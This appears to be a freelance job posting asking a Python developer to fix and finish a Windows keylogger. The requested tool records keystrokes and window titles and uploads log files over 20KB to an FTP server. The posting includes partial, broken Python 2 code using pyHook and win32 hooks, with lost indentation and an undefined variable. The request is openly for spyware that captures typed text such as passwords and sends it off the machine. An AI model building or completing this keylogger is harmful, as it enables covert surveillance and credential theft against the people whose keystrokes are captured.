Experienced Python Developer needed


Job Description

An expert python developer needed to help me with my code. I have some issues and want it to be created again.

I want the code to work and then the payment would be made.


Here is the project details.

I am looking for a keylogger which can capture keystrokes and windows title name and then log the data to the text file.
and now when the text file becomes more than 20kb it should upload to a ftp server and now the keystrokes log goes into new text file which has to be created.

sample log

Windows Explorer

Hello i am window explorer

Google chrome - gmail

Hello this is google chrome.

This is the sample log.

Please let me know if this can be done.


This is the code i worked on but this doesnt work well.

import win32api
import win32console
import win32gui
import pythoncom, pyHook , sys, time , os , threading
import shutil ,socket ,datetime
from ftplib import FTP
from threading import Thread

def OnKeyboardEvent(event):

# Now you can access your hookmanager, and change which keys you want
# to watch. Using 'event' and 'hm', you can do some fun stuff in here.
global hm
global lastWindow

####window = event.WindowName
####I'm not sure, but these last two functions may not return the "exact"
####name values. I would call the same function you trying to compare against.

key = chr(event.Ascii)
if window != lastWindow: ## Now you know these at least come from same function
start = '-----------------------------------'
print str(start)
print window
lastWindow = window
print key

def fi(): #This is your "worker loop"
while True:
dr = socket.gethostname()
if not os.path.exists(dr):
now = datetime.datetime.now()
p = now.strftime("%Y-%m-%d %H-%M")
temp_path = dr + '/' + p
fil = temp_path + '.txt'
sys.stdout = open(fil,'w')
statinfo = os.stat(fil)
fils = statinfo.st_size
if(fils > 20):
now = datetime.datetime.now()
p = now.strftime("%Y-%m-%d %H-%M")
temp_path = dr + '/' + p
fil = temp_path + '.txt'
sys.stdout = open(fil,'w')

if __name__ == '__main__':
"""This stuff only executes once"""

global lastWindow
lastWindow = None
print lastWindow

global hm #if we make this global, we can access inside OnKeyboardEvent
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent

Thread(target = fi).start() #This is your worker loop

# We don't need this. OnKeyboardEvent will get callbacks from system
# thanks to Hookmanager and PumpMessages
##Thread(target = OnKeyboardEvent(event)).start()

# You wouldn't want to do it with the way we are set up, but this is a "polite"
# way to get PumpMessages to return...

#ctypes.windll.user32.PostQuitMessage(0) # stops pumpMessages

pythoncom.PumpMessages() #This call will block forever unless interrupted

except (KeyboardInterrupt, SystemExit) as e: #We will exit cleanly if we are told

I sent you the problem and also the code i worked on.

Please let me know if you can do it.


Skills: multithreading